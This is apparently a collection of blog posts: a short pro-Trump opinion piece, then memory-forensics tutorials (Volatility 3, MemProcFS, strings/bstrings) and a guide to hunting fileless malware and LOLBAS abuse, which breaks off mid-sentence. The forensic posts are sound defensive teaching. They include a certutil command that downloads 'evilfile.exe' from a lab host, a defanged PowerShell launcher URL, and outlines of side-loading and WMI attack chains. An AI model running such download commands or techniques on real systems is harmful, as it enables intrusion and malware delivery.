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As someone living outside the United States, I often hear people say that U.S. elections don’t impact us directly. But I see things differently. For years, I've closely followed the political landscape in the U.S., especially after Donald Trump’s 2016 victory, which brought hope and a new vision for many of us around the world. Through times of uncertainty, I’ve always believed that strong U.S. leadership can inspire stability, innovation, and economic growth that reach far beyond its borders. In the last few years, the world has faced many challenges—economic uncertainty, conflicts, and industry disruptions that have deeply affected global markets, including the IT sector. It’s been hard to watch as so many jobs and dreams have been impacted. This is why, as I watched the U.S. election results with hope, I couldn’t help but feel that leadership in the U.S. can make a real difference in restoring peace, stability, and opportunity. For me, Trump represents a leader who prioritizes a stable economy and jobs, both in the U.S. and worldwide. His policies seem aimed at revitalizing the workforce, investing in the economy, and, hopefully, creating a ripple effect of opportunity that reaches countries like mine. The IT sector, which often feels the impact of global uncertainty, stands to gain from policies that promote growth and open doors to innovation. I truly believe that under strong leadership, we have a chance to regain lost ground, make the job market more resilient, and protect the dreams of so many talented professionals. My hope is that this leadership can reduce tensions, stabilize markets, and foster an environment where technology and innovation can thrive without constant fear of disruption. I believe that people like us, who are watching from afar, have reason to feel hopeful. It’s not just about one country or one election—it’s about the promise of a future where our global workforce can thrive, where ideas can flourish, and where peace and opportunity are within reach for people everywhere. So, as I look forward, I’m choosing to stay positive and hopeful. I believe that with the right leadership, we can create a more secure and stable world—one where professionals in IT and other industries can look to the future with confidence. Together, I hope we can build a world where dreams are realized, opportunities are abundant, and peace prevails. @realDonaldTrump, #donaldtrump, #trump, @ElonMuskNewsOrg, #Elonmusk , #Elon, #musk -------------------------------------Make World Great Again------------------------------------

Alright, let’s dive into a straightforward guide to memory analysis using Volatility. Memory forensics is a vast field, but I’ll take you through an overview of some core techniques to get valuable insights. Let’s go Notes: "This is not a complete analysis; it’s an overview of key steps. In memory forensics, findings can be hit or miss—sometimes we uncover valuable data, sometimes we don’t, so it’s essential to work carefully." Step 1: Basic System Information with windows.info Let’s start by getting a basic overview of the memory image using the windows.info plugin. This gives us essential details like the operating system version, kernel debugging info, and more , which helps us ensure the plugins we’ll use are compatible. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.info Step 2: Listing Active Processes with windows.pslist Now, I’ll list all active processes using windows.pslist and save the output . This helps identify running processes, their parent-child relationships, and a general look at what’s happening in memory. p ython3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.pslist > ./testing/pslist.txt I’m storing the output so we can refer back to it easily . With pslist, we can identify processes and their parent-child links , which can help detect suspicious activity if any processes don’t align with expected behavior. (I am using the SANS Material to make sure processes aligned with parent child) Step 3: Finding Hidden Processes with windows.psscan Next, we move to windows.psscan, which scans for processes, even hidden ones that pslist might miss. This is especially useful for finding malware or processes that don’t show up in regular listings. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.psscan > ./testing/psscan.txt After running psscan, I’ll sort and compare the results with pslist  to see if anything stands out. A quick diff can reveal processes that may be hiding: sort ./testing/psscan.txt > ./testing/a.txt sort ./testing/pslist.txt > ./testing/b.txt diff ./testing/a.txt ./testing/b.txt In my analysis, I found some suspicious processes like whoami.exe and duplicate mscorsvw.exe  entries, which I’ll dig into further to verify their legitimacy. (Later analysis mscorsvw is legit ) Step 4: Examining Process Trees with windows.pstree To get a clearer view of how processes are linked, I’ll use windows.pstree. This shows the process hierarchy, making it easier to spot unusual or suspicious chains, like a random process launching powershell.exe  under a legitimate parent. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.pstree > ./testing/pstree.txt During my analysis, I noticed a powershell.exe instance that used encoded commands to connect to a suspicious IP (http[:]//192.168.200.128[:]3000/launcher.ps1). This could be an indicator of compromise, possibly indicating a malicious script being downloaded and executed. Step 5: Checking Command-Line Arguments with windows.cmdline Now, I’ll use the windows.cmdline plugin to check command-line arguments for processes. This is helpful because attackers often use command-line parameters to hide activity. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.cmdline > ./testing/ cmdline.txt Here, I’m filtering out standard system paths(System 32) to make it easier to focus on anything that might look unusual . If there’s any suspicious execution path, this command can help spot it quickly. (Make sure it doesn't means attacker run processes from comandline) cat ./testing/cmdline.txt | grep -i -v 'system32' Step 6: Reviewing Security Identifiers with windows.getsids To understand the permissions and user context of the processes we’ve identified as suspicious, I’ll check their Security Identifiers (SIDs) using windows.getsids . This can tell us who ran a specific process, helping narrow down potential attacker accounts. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.getsids > ./testing/getsids.txt I’m searching for the user that initiated each suspicious process to see if it’s linked to an unauthorized or unusual account. (For example if you see above screenshot we have identifed powershell and cmd execution) So i have searched through text file: cat ./testing/getsids.txt | grep -i cmd.exe Step 7: Checking Network Connections with windows.netscan Next, I’ll scan for open network connections with windows.netscan to see if any suspicious processes are making unauthorized connections . This is crucial for detecting any malware reaching out to a command-and-control (C2) server. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.netscan > ./testing/netscan.txt In this case, I found some closed connections to a suspicious IP (192.168.200.128:8443), initiated by powershell.exe. This further confirms the likelihood of malicious activity Step 8: Module Analysis with windows.ldrmodules To see if there are unusual DLLs or modules loaded into suspicious processes, I’ll use windows.ldrmodules. This can help catch injected modules or rogue DLLs. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.ldrmodules > ./testing/ldrmodule.txt cat ./testing/ldrmodule.txt | egrep -i 'cmd|powershell' In very simple language: If you see even single one false you have to analyse it manually whether its legit or not (Mostly you will got lot of false positive. This is where DFIR examiner is there to identify if this is legit) Step 9: Detecting Malicious Code with windows.malfind Finally, I’ll scan for potential malicious code within processes using windows.malfind . This command helps by detecting suspicious memory sections marked as PAGE_EXECUTE_READWRITE, which attackers often use. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.malfind > ./testing/malfind.txt Next step I have looked into PID for power shells/cmd. So i can dump those and run antivirus scan or use strings or bstrings. cat ./testing/malfind.txt | grep -i 'PAGE_EXECUTE_READWRITE' I have identified powershell PID and noted down dump an the powershell related malfind processes: (One by One) for PID 5908,6164,8308,1876 (as per screemshot) python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.malfind --dump --pid 5908 Once done now u can run string or bstring to identify character in them or run full disk scan again dump or give it to reverse engineer(Thats on you) (There are commnds avaible you can use those, Again this is an overview you can dig deeper. More commmands you can find in my previous article) https://www.cyberengage.org/post/unveiling-volatility-3-a-guide-to-extracting-digital-artifacts -------------------------------------------------------------------------------------------------------- Digging into Registry Hives Step 1 Moving on to the registry, I’ll first check which hives are available using windows.registry.hivelist. Important hives like NTUSER.DAT can hold valuable info, including recently accessed files. python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.registry.hivelist If you see above screenshot we have most important hives usrclass.dat and Ntuser.dat Fist get a offset of usrclass.dat - 0x9f0c25e75000 and ntuser.dat - 0x9f0c25be8000  in our case Than to check which data is avaible under these two hives: python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.registry.printkey --offset 0x9f0c25be8000  As you can see screenshot little data is intact: After this you can do two things First dump these hives and use tool like registry explorer to analyse further like normal windows registry analysis or You can do is dump all the output in txt file and analyse it here your choice: Lets do with txt file: python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.registry.printkey --offset 0x9f0c25be8000 --recurse > ./testing/ntuser.txt Step 2 Checking User Activity with UserAssist Plugin The userassist plugin helps verify i f specific applications or files were executed by the user— like PowerShell commands. Results may vary, and in this case, it might not yield any findings. Lets suppose this does not work out for me: than use the above ntuser.dat method dumping all userassist into .txt using --recurse and analyse manually (Just change the offset) example: python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.registry.printkey --offset 0x9f0c25e75000 --recurse > ./testing/usrclss.txt Step 3 Scanning for Key Files with Filescan python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.filescan > ./testing/filescan.txt See this is not necessary but why its important .(you can simply use above first and second steps to extract and dump for analysis using registry explorer or examining manually its on you Lets suppose you ran filescan and saved output and you want to check which if you hives like SAM hives or security hives: cat ./testing/filescan.txt | grep -i 'usrclass.dat' | grep 'analyst' This above command will grep usrclass,dat and then grep user analyst, because the powershell executed under user account analyst. Now after going through i have identified multiple hives there that might be useful. I have noted all the offset and what i am going to do is dump all the hives and analyse using registry explorer. Step 4 Dumping Specific Files (Like NTuser.dat, usrclass.dat) python3 vol.py -f /mnt/d/practice_powershell_empire/practice_powershell_empire.vmem windows.dumpfiles --virtaddr Use this for additional files or executable of interest. If data is retrieved, analyze it with tools like RegRipper. Step 5 Similar to above you can search for keyword "history" in filescan.txt if you find history files related to browser or psreadline.txt dump it out analyse it. If u dumping browser history us can browserhistory viewer from nirsoft Step 6 Logs Analysis you can search for logs in our case cat ./testing/filescan.txt | grep -i '.evtx' you can dump the logs and use evtxcmd to parse the logs and analyse it. ------------------------------------------------------------------------------------------------------------- Once done with volatility what i always do. run the strings or bstrings.exe against my Memory images using the IOC i have identified to look for if i can get extra hit and i missed out something example: (If you look above i have found launches.ps1 in IOCs) running strings and bstring again the memory image bstring | grep -i 'launcher.ps1' Below screenshot i looked for IP we have identified as IOC This is what i do after running volatility you do not have do it but its on you! How to run strings/bstrings.exe there is article created link below do check it out https://www.cyberengage.org/post/memory-forensics-using-strings-and-bstrings-a-comprehensive-guide ------------------------------------------------------------------------------------------------------------- Next I have run MemProc5 Analyzer: Dirty Logs in MemProcFS Examining logs, such as those found in MPLogs\Dirty\, reveals possible threats, like PowerShell Grampus or Mimikatz: There are legit files as well u have to defined its legit or not How to run MemProc5 there is article created link below do check it out https://www.cyberengage.org/post/memprocfs-memprocfs-analyzer-comprehensive-analysis-guide ------------------------------------------------------------------------------------------------------------- Conclusion Alright, so we’ve walked through a high-level approach to memory forensics here. E ach tool and plugin we used, like Volatility and MemProcFS, gave us a way to dig into different artifacts, whether it was registry entries, logs, or user files. Some methods hit, some miss—memory analysis can be like that, but the key is to stay thorough. Remember, you may or may not find everything you’re looking for. But whatever you do uncover, like IOCs or specific user actions, adds to your investigation . Just keep at it, keep testing, and let each artifact guide your next step. This is all part of the process—memory forensics is about making the most out of what you have, one artifact at a time. Akash Patel

MemProcFS  is a powerful memory forensics tool that allows forensic investigators to mount raw memory images as a virtual file system . This enables direct analysis of memory artifacts without the need for heavy processing tools. It simplifies the process by converting the memory dump into a filesystem with readable structures like processes, drivers, services, etc. This guide covers best practices for using MemProcFS, from mounting a memory image to performing in-depth analysis using various tools and techniques. -------------------------------------------------------------------------------------------------------- Mounting the Image with MemProcFS The basic command to mount a memory dump using MemProcFS is: MemProcFS.exe -device c:\temp\memdump-win10x64.raw This mounts the memory dump as a virtual file system. However, the best way to use MemProcFS is by taking advantage of its built-in Yara rules  provided by Elastic. These Yara rules allow you to scan for Indicators of Compromise (IOCs) such as malware signatures, suspicious files, and behaviors within the memory image. Command with Elastic Yara Rules To mount a memory image and enable Elastic's Yara rules, use the following command: MemProcFS.exe -device -forensic 1 -license-accept-elastic-license-2.0 The -forensic 1 flag ensures that the image is mounted with forensic options enabled, while the -license-accept-elastic-license-2.0 flag accepts Elastic's license terms for the built-in Yara rules. -------------------------------------------------------------------------------------------------------- Methods for Analysis There are multiple ways to analyze the mounted memory image. Below are the three most common methods: Using WSL (Windows Subsystem for Linux) Using Windows Explorer Using MemProcFS Analyzer Suite 1. Analyzing with WSL (Windows Subsystem for Linux) One of the most efficient ways to analyze the memory dump is by using the Linux shell within Windows, i.e., WSL . By doing this, you can easily use Linux tools such as grep, awk, and strings to filter and search through the mounted image. Step 1: Create a Directory in WSL First, create a directory in WSL where you will mount the memory image: sudo mkdir /mnt/d Step 2: Mount the Windows Memory Image to WSL Next, mount the Windows memory image to the directory you just created. Assuming the image is mounted on the M: drive in Windows, you can mount it to WSL with the following command: sudo mount -t drvfs M: /mnt/d This command mounts the M: drive (where MemProcFS has mounted the memory image) to the /mnt/d directory in WSL . Now you can access the mounted memory dump via WSL for further analysis using grep, awk, strings, and other Linux-based utilities. -------------------------------------------------------------------------------------------------------- 2. Analyzing with Windows Explorer MemProcFS makes it easy to browse the memory image using Windows Explorer  by exposing critical memory artifacts in a readable format. Here’s what each folder contains: Key Folders and Files Sys Folder : Proc : Proc.txt: Lists processes running in memory. Proc-v.txt: Displays detailed command-line information for the processes. Drivers : ers.txt: Contains information about drivers loaded in memory. Net : Netstat.txt: Lists network information at the time of acquisition. Netstat-v.txt: Provides details about network paths used by processes. Services : Services.txt: Lists installed services. Subfolder /byname: Provides detailed information for each service. Tasks : Task.txt: Contains information about scheduled tasks in memory. Name Folder : Contains folders for each process with detailed information such as files, handles, modules, and Virtual Address Descriptors (VADs). PID Folder : Similar to the Name Folder , but uses Process IDs (PIDs) instead of process names. Registry Folder : Contains all registry keys and values available in memory during the dump. Forensic Folder : CSV files  (e.g., pslist.csv): Easily analyzable using Eric Zimmerman's tools. Timeline : Contains timestamped events related to memory activity, available in both .csv and .txt formats. Files Folder : Attempts to reconstruct the system's C: drive from memory. NTFS Folder : Attempts to reconstruct the NTFS file system structure from memory. Yara Folder : Contains results from Yara scans, populated if Yara scanning is enabled. FindEvil Folder: You must determine if files are malicious or legitimate. -------------------------------------------------------------------------------------------------------- 3. Using MemProcFS Analyzer Suite For more automated analysis, MemProcFS comes with an Analyzer Suite that simplifies the process by running pre-configured scripts to extract and analyze data from the memory image. Step 1: Download and Install Analyzer Suite First, download the MemProcFS Analyzer Suite . Inside the suite folder, you will find a script named updater.ps1. Run this script in PowerShell  to d ownload all the necessary binaries and tools for analysis: Step 2: Run the Analyzer Once the setup is complete, you can begin your automated analysis by running the MemProcFS-Analyzer.ps1 script: .\MemProcFS-Analyzer.ps1 This will launch the GUI  for MemProcFS Analyzer . You can then select the mounted memory image and (optionally) the pagefile if it is available. Once you run the analysis, MemProcFS will automatically extract and analyze the data . -------------------------------------------------------------------------------------------------------- Output and Results After running the MemProcFS analysis, the results will be saved in a folder under the script directory. Make sure that you have 7-Zip  installed, as some of the output may be archived. The default password for the archives is MemProcFS . Key Output Files : Parsed Files : Contains all the data successfully parsed by MemProcFS. Unparsed Files : Lists data that could not be parsed by the tool. For further analysis, you can manually review these files using tools like Volatility 3  or by leveraging WSL tools. By reviewing both parsed and unparsed files, you can ensure that no critical information is missed during the analysis. -------------------------------------------------------------------------------------------------------- Considerations and Best Practices Antivirus Interference If you are running MemProcFS Analyzer in a environment, your antivirus software may block certain forensic tools. To avoid interruptions, it is recommended to create exclusions for the tools used by MemProcFS Analyzer or, if necessary, temporarily disable the antivirus software during the analysis. Manual Review of Unparsed Data While MemProcFS automates many aspects of memory forensics, it is crucial to manually check files that were not parsed during the automated process. These files can be analyzed using other memory forensic tools like Volatility 3 , or through manual inspection using WSL commands. -------------------------------------------------------------------------------------------------------- Conclusion MemProcFS  offers a powerful and efficient way to analyze memory dumps by mounting them as a virtual file system. This method allows for both manual and automated analysis using familiar tools like grep, awk, strings, and the MemProcFS Analyzer Suite . Whether you are performing quick IOC triage or a detailed forensic analysis, MemProcFS can handle a wide range of memory artifacts, from processes and drivers to network activity and registry keys. Key Takeaways : MemProcFS is versatile, offering both manual and automated analysis methods. Use Elastic’s built-in Yara rules to enhance your malware detection capabilities. Leverage WSL or Windows Explorer to manually browse and analyze memory artifacts. The Analyzer Suite automates much of the forensic process, saving time and effort. Always review unparsed files to ensure nothing critical is missed. Akash Patel

Memory forensics  involves extracting and analyzing data from a computer's volatile memory (RAM) to identify potential Indicators of Compromise (IOCs) or forensic artifacts crucial for incident response. This type of analysis can uncover malicious activity, such as hidden malware, sensitive data, and encryption keys, even after a machine has been powered off. Two key tools frequently used in this process are Strings  and Bstrings . While both help extract readable characters from memory dumps, they offer distinct features that make them suitable for different environments. In this article, we’ll cover the functionality of both tools, provide practical examples, and explore how they can aid in quick identification of IOCs during memory forensics. Tools Overview 1. Strings Functionality : Extracts printable characters from files or memory dumps. Usage : Primarily used in Linux/Unix environments , although it can be utilized in other systems via compatible setups.(Example Windows WSL) Key Features : Lightweight and easy to use. Can be combined with search filters like grep to narrow down relevant results. 2. Bstrings (by Eric Zimmerman) Functionality : A similar tool to Strings, but d esigned specifically for Windows environments. It offers additional features such as regex support  and advanced filtering. Key Features : Regex support for powerful search capabilities. Windows-native, making it ideal for handling Windows memory dumps. Capable of offset-based searches. Basic Usage 1. Using Strings in Linux/Unix Environments The strings tool is commonly used to extract printable (readable) characters from binary files, such as memory dumps. Its core functionality is simple but powerful when combined with additional filters, such as grep. Example: Extracting IP Addresses If you are hunting for a specific IOC, such as an IP address in a memory dump , you can extract printable characters and pipe the results through grep to filter the output. strings | grep -I Example for an IP address : strings mem.dump | grep -i 192\.168\.0\. This command will extract any printable characters from the memory dump (mem.dump) and filter the results for the IP address 192.168.0.*. Example for a filename : strings mem.dump | grep -i akash\.exe Here, it searches for the filename akash.exe within the memory dump. Note : For bstrings.exe in Windows, the same search can be done without using escape characters (\). This makes it easier to input IP addresses or filenames directly: IP address : 192.168.0 Filename : akash.exe ----------------------------------------------------------------------------------------------- 2. Contextual Search Finding an IOC in a memory dump is only the beginning. To better understand the context in which the IOC appears, y ou may want to see the lines surrounding the match. This can give insights into related processes, network connections, or file paths. strings | grep -i -C5 Example : strings mem.dump | grep -i -C5 akash.exe The -C5 option tells grep to show five lines above and five lines below the matching IOC (akash.exe). This helps to investigate the surrounding artifacts and provides additional context for analysis. ----------------------------------------------------------------------------------------------- 3. Advanced Usage with Offsets When you use strings with volatility (another powerful memory forensics tool) , it’s essential to retrieve offsets. Offsets allow you to pinpoint the exact location of an artifact within the memory image , which is vital for correlating with other forensic evidence. strings -tx | grep -i -C5 Example : strings -tx mem.dump | grep -i -C5 akash.exe Here, the -tx option provides the offsets of the matches within the file, allowing for more precise analysis, especially when using memory analysis tools like Volatility. ----------------------------------------------------------------------------------------------- Using Bstrings.exe in Windows The bstrings.exe tool operates similarly to strings, but is designed for Windows environments and includes advanced features such as regex support  and output saving . Basic Operation bstrings.exe -f "E:\ForensicImages\Memory\mem.dmp" --ls This command extracts printable characters from the specified memory dump and searches for a specific pattern or IOC. Example : bstrings.exe -f "E:\ForensicImages\Memory\mem.dmp" --ls qemu-img-win-x64-2_3_0.zip ----------------------------------------------------------------------------------------------- Regex Support Bstrings offers regex pattern matching, allowing for flexible searches. This can be especially useful when looking for patterns like email addresses, MAC addresses, or URLs. Example of listing available regex patterns : bstrings.exe -p Example of applying a regex pattern for MAC addresses : bstrings.exe -f "E:\ForensicImages\Memory\mem.dmp" --lr mac ----------------------------------------------------------------------------------------------- Saving the Output Often, forensic investigators need to save the results for later review or for reporting. Bstrings allows easy output saving. bstrings.exe -f "E:\ForensicImages\Memory\mem.dmp" -o output.txt This saves the output to output.txt for future reference or detailed analysis. ----------------------------------------------------------------------------------------------- Practical Scenarios for Memory Forensics Corrupted Memory Image In certain cases, memory images may be corrupted or incomplete . Tools like Volatility or MemProc may fail to process these images. In such scenarios, strings and bstrings.exe can still be incredibly useful by extracting whatever readable data remains , allowing you to salvage critical IOCs. Quick IOC Identification These tools are particularly valuable for triage . During an investigation, quickly scanning a memory dump for IOCs (such as suspicious filenames, IP addresses, or domain names) can direct the next steps of a forensic investigation. If no IOCs are found, the investigator can move on to more sophisticated or time-consuming methods. ----------------------------------------------------------------------------------------------- Conclusion Memory forensics is a crucial part of modern incident response, and tools like strings and bstrings.exe can significantly accelerate the process . Their ability to extract readable characters from memory dumps and apply search filters makes them invaluable for forensic investigators, especially in cases where traditional analysis tools may fail. Key Takeaways : Strings  is ideal for Unix/Linux environments, while Bstrings  is tailored for Windows. Both tools offer powerful search capabilities, including contextual search  and offset-based analysis . Bstrings  provides additional features like regex support  and output saving . These tools help quickly identify IOCs, even in challenging scenarios like corrupted memory images. Whether you’re dealing with a large memory dump or a corrupted image, these tools offer a simple yet effective way to sift through data and uncover critical forensic artifacts Akash Patel

Today, let's dive into the fascinating world of digital forensics by exploring Volatility 3 —a powerful framework used for extracting crucial digital artifacts from volatile memory (RAM). Volatility enables investigators to analyze a system’s runtime state, providing deep insights into what was happening at the time of memory capture. While some forensic suites like OS Forensics  offer integrated Volatility functionality, this guide will show you how to install and run Volatility 3  on Windows  and WSL  (Windows Subsystem for Linux). Given the popularity of Windows, it's a practical starting point for many investigators. Moreover, WSL allows you to leverage Linux-based forensic tools, which can often be more efficient. Installing Volatility 3 on Windows: Before diving in, ensure you have three essential tools installed: Python 3: Download Python 3 from the Microsoft Store. Git for Windows: Click here Microsoft C++ Build Tool: Download it Once these tools are installed, follow these steps to set up Volatility 3: Head to the Volatility GitHub repository here . Copy the repository link. Open PowerShell and run: git clone Check the Python version using: python -V Navigate to the Volatility folder in PowerShell and run DIR (for Windows) or ls (for Linux). Run the command: pip install -r .\requirements.txt Verify the Volatility version: python vol.py -v Extracting Digital Artifacts: Now that Volatility is set up, you'll need a memory image to analyze. You can obtain this image using tools like FTK Imager or other image capture tools . -------------------------------------------------------------------------------------------------------- H ere are a few basic commands to get you started: python vol.py -v (Displays tool information). python vol.py -f D:\memdump.mem windows.info Provides information about the Windows system from which the memory was collected. Modify windows.info for different functionalities. D:\memdump.mem (Path of memory image) 3. python vol.py -f D:\memdump.mem windows.handles - Lists handles in the memory image. Use -h for the help menu. Significance of -pid Parameter in Memory Forensics is used as a parameter. Now you guys will think what's point using python in volatility 3. python vol.py -f D:\memdump.mem windows.pslist | Select-String chrome This command showcases the use of a search string (Select-String) to filter the pslist output for specific processes like 'chrome.' While Select-String isn't a part of Volatility 3 itself, integrating it with Python offers a similar functionality to 'grep' in Linux, facilitating data extraction based on defined criteria. Few Important commands: windows.pstree (Will give hierarchy view) windows.psscan (find unlinked hidden processes) windows.netstat windows.cmdline (what haven been run from where it have been run any special arguments he used) windows.malfind (in case of legit you will not get anything for legit processes) windows.hashdump (showed hash password on windows) windows.netscan Windows.ldrmodules A "True" within a column means the DLL was present, and a "False" means the DLL was not present in the list. By comparing the results, we can visually determine which DLLs might have been unlinked or suspiciously loaded, and hence malicious. More commands with details you will found in this link click here ------------------------------------------------------------------------------------------------------------- Why Switch to WSL for Forensics? As forensic analysis evolves, using Windows Subsystem for Linux (WSL)  has become a more efficient option for running tools like Volatility 3 . With WSL, you can run Linux-based tools natively on your Windows machine, giving you the flexibility and compatibility benefits of a Linux environment without the need for dual-booting or virtual machines. Install WSL by running: wsl --install https://learn.microsoft.com/en-us/windows/wsl/install To install Volatility 3 on WSL : 1. Install Dependencies Before installing Volatility 3, you need to install the required dependencies: s udo apt update sudo apt install -y python3-pip python3-pefile python3-yara 2. Installing PyCrypto (Optional) While PyCrypto  was a common requirement, it is now considered outdated. If installing it works, great! If not, you can move on: pip3 install pycrypto If PyCrypto doesn’t install correctly, don’t worry—Volatility 3 can still function effectively without it in most cases. 3. Clone the Volatility 3 Repository Next, clone the official Volatility 3  repository from GitHub: git clone https://github.com/volatilityfoundation/volatility3.git cd volatility3 4. Verify the Installation To confirm that Volatility 3 is installed successfully, run the following command to display the help menu: python3 vol.py -h | more If you see the help options, your installation was successful, and you’re ready to begin memory analysis. ------------------------------------------------------------------------------------------------------------ Why WSL is Essential for Forensic Analysis Forensic tools like Volatility 3  often run more smoothly in a Linux environment due to Linux’s lightweight nature and better compatibility with certain dependencies and libraries. WSL allows you to run a full Linux distribution natively on your Windows machine without the need for a virtual machine or dual-booting . This means you can enjoy the power and flexibility of Linux while still working within your familiar Windows environment. ---------------------------------------------------------------------------------------------------- Conclusion Forensic analysis, especially with tools like Volatility 3 , becomes far more efficient when leveraging WSL . It offers better performance, compatibility with Linux-based tools, and ease of maintenance compared to traditional Windows installations. I hope this guide has provided a clear pathway for setting up and running Volatility 3 on both Windows and WSL, empowering you to optimize your forensic workflows. Now, you might wonder: "I’ve given the commands for running Volatility 3 on Windows—what about WSL?" The good news is that the commands remain the same for WSL, as the underlying process is the same; only the environment differs. In upcoming articles, I’ll cover tools like MemProcFS, Strings, and how to perform comprehensive memory analysis using all three. Until then, happy hunting and keep learning! 👋 Akash Patel

Fileless malware refers to malicious software that does not rely on traditional executable files on the filesystem , but it is important to emphasize that " fileless" does not equate to "artifactless." Evidence of such attacks often exists in various forms across the disk and system memory, making it crucial for Digital Forensics and Incident Response (DFIR) specialists to know where to look. Key Locations for Artifact Discovery Even in fileless malware attacks, traces can be found in several places: Evidence of execution:  Prefetch, Shimcache, and AppCompatCache Registry keys:  Large binary data or encoded PowerShell commands. Event logs:  Process creation, service creation, and Task Scheduler events. PowerShell artifacts:  PowerShell transcripts and PSReadLine Scheduled Tasks:  Attackers may schedule malicious tasks to persist. Autorun/Startup keys WMI Event Consumers:  These can be exploited to run malicious code without leaving typical executable trace s. Example 1: DLL Side-Loading with PlugX DLL side-loading is a stealthy technique used by malware like PlugX , where legitimate software is abused to load malicious DLLs into memory. The typical attack steps involve: Phishing email : The attacker sends a phishing email to the victim. Decoy file and dropper : The victim opens a l egitimate-looking file (e.g., a spreadsheet) that also delivers the payload. Dropper execution : A dropper executable (e.g., ews.exe) is saved to disk, dropping several files. One of these, oinfop11.exe, is a legitimate part of Office 2003, making it appear trusted . Malicious DLL injection : The legitimate executable loads a spoofed DLL (oinfo11.ocx), which decrypts and activates the actual malware. At this point, the malicious DLL operates in the memory space of a trusted program, evading traditional detection mechanisms. Example 2: Registry Key Abuse In another example, attackers may modify the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run  registry key . This key can be used to launch PowerShell scripts via Windows Script Host (WSH), enabling the attacker to execute code every time the system boots up. Example 3: WMI Event Filters and Fake Updaters Attackers often leverage WMI  (Windows Management Instrumentation) to create event filters that trigger malicious activities, such as launching a fake updater. In this scenario: WMI  uses regsvr32.exe to call out to a malicious site. The malicious site hosts additional malware files, furthering the attack. Living Off the Land (LOLBAS) Attacks Living Off the Land Binaries and Scripts ( LOLBAS)  refer to legitimate tools and binaries that attackers exploit for malicious purposes , reducing the need to introduce new files to the system. This approach makes detection more challenging since the binaries are usually trusted system files. The LOLBAS Project The LOLBAS Project  on GitHub compiles data on legitimate Windows binaries and scripts that can be weaponized by attackers. The project categorizes these tools based on their functions, including: https://gtfobins.github.io/ https://lolbas-project.github.io/ Alternate Data Streams (ADS)  manipulation AWL bypasses  (e.g., bypassing AppLocker) Credential dumping  and code compilation Reconnaissance  and UAC bypasses Common LOLBAS in Use Several Windows binaries are frequently misused in the wild: CertUtil.exe Regsvr32.exe RunDLL32.exe ntdsutil.exe Diskshadow.exe Example: CertUtil Misuse An example of CertUtil.exe  being misused involves downloading a file from a remote server. The command used is: certutil.exe -urlcache -split -f http[:]//192.168.182.129[:]8000/evilfile.exe goodfile.exe Several detection points exist here: Command-line arguments : Detect unusual arguments like urlcache using Event ID 4688 (Windows) or Sysmon Event ID 1 . File creation : Detect CertUtil writing to disk using Sysmon Event ID 11 or endpoint detection and response (EDR) solutions. Network activity : CertUtil making network connections on non-standard HTTPS ports is unusual and should be flagged . ---------------------------------------------------------------------------------------------- 1. Hunting LOLBAS Execution with Prefetch LOLBAS (Living Off the Land Binaries and Scripts) refers to the use of legitimate binaries, often pre-installed on Windows systems , that attackers can misuse for malicious purposes. Tools like CertUtil.exe, Regsvr32.exe, and PowerShell  are frequently used in these attacks. Hunting for these within enterprise environments requires collecting data from various sources such as prefetch files, event logs, and process data. Prefetch Hunting Tips : Prefetch data  is stored in the C:\Windows\Prefetch folde r and provides insight into recently executed binaries. Velociraptor  is a great tool for collecting and analyzing prefetch files across an enterprise environment. Running a regex search for specific LOLBAS tools such as sdelete.exe, certutil.exe, or taskkill.ex e can help narrow down suspicious executions. To perform a regex search using Velociraptor: Step 1 : Collect prefetch files. Step 2 : Apply regex filters to search for known LOLBAS tools. Key Considerations : Prefetch hunting can be noisy due to legitimate execution of trusted binaries. Analyze paths  used by the binaries. For example, C:\Windows\System32\spool\drivers\color\ is commonly abused due to its write permissions. Look for rarely seen executables or unusual paths that might indicate lateral movement or privilege escalation. 2. Intelligence Gathering: Suspicious Emails and Threat Hunts When a suspicious email is reported, especially after an initial compromise: SOC actions : SOC analysts may update email filters, remove copies from the mailserver, but must also hunt across endpoints for signs of delivery. U sing the SHA1 hash  of the malicious file can help locate copies on other endpoints. For example : you can use Velociraptor with Generic.Forensic.LocalHashes.Init  to build a hash database, and then populate it with GenericForensic.LocalHashes.Glob. 3. Endpoint Data Hunting Key areas for LOLBAS detection on endpoints: Prefetch Files : As mentioned, rarely used executables like CertUtil or Regsvr32  may signal LOLBAS activity. Running Processes : Collect processes from all endpoints. Uncommon processes, especially those tied to known LOLBAS binaries, should be investigated. 4. SIEM and Event Log Analysis Event logs and SIEM tools offer key visibility for LOLBAS detection: Sysmon Event 1 (Process Creation) : Captures process creation events and contains critical information like command-line arguments and file hashes. Windows Security Event 4688 : This event captures process creation events , and when paired with Event 4689  (process termination ), it provides complete context for process lifetime, which can be useful in detecting LOLBAS activity. Common LOLBAS Detection via Event Logs : CertUtil.exe : Detect by filtering for the user agent string Microsoft-CryptoAPI/*. PowerShell : Detect suspicious PowerShell execution using its user agent string: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.610 Microsoft BITS/* – BITS ----------------------------------------------------------------------------------------------------------- 1. Hunting Process Creation Events with Sysmon (Event ID 1) Sysmon's Event ID 1  (Process Creation) is a critical log for detecting Living Off the Land Binaries and Scripts (LOLBAS) attacks, as it provides detailed information about processes that are started on endpoints. However, since LOLBAS attacks often use legitimate, signed executables, it's essential to look beyond basic indicators like file hashes. Key information from Sysmon Event ID 1  includes: Process Hash : While helpful for detecting malicious software, it is less useful 